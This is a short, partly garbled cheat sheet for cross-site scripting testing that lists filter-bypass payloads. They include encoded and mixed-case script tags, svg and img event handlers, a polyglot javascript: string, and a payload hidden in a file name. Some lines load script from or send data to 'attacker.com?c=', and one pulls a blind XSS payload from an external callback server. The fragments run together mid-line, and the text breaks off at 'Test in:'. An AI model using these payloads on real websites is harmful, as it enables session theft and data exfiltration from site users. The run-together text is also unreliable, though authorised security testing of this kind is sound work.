Cross-site scripting is high-frequency, chains well with CSRF and IDOR, and is worth testing on every input.
<h2>, <img>, <table> without filtering?<script> or %3Cscript%3E? Test double encoding: %253C, %26lt;<script src=attacker.com?c=
- Test blacklist gaps: <svg>, <%00iframe>, on%0derror, </script/x>, <ScRiPt>
- Test every reflected parameter for both reflected and blind XSS
- Check WAF behavior – sometimes they only filter parameter values not names
===== Filter Bypass Flow =====
- How are non-malicious HTML tags handled? <h2>, <b>
- What about incomplete tags? <iframe src=attacker.com/c=<%00h2>, %0d, %0a, %09</script/x> work? <ScRiPt>?<svg onload=alert(1)> <img src=x onerror=alert(1)> <ScRiPt>alert(1)</ScRiPt> <%00script>alert(1)</script> </script/x><script>alert(1)</script> <iframe src=//attacker.com/c=
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A " onclick=alert(1)//<button ' onclick=alert(1)//>
photo.jpg<svg onload=confirm()>onload, allowedDomain, movieplayer, xmlPath, callbackUse a blind XSS payload that calls back to your server (XSS Hunter, interactsh):
"><script src=https://yourxsshunter.xss.ht></script>
Test in: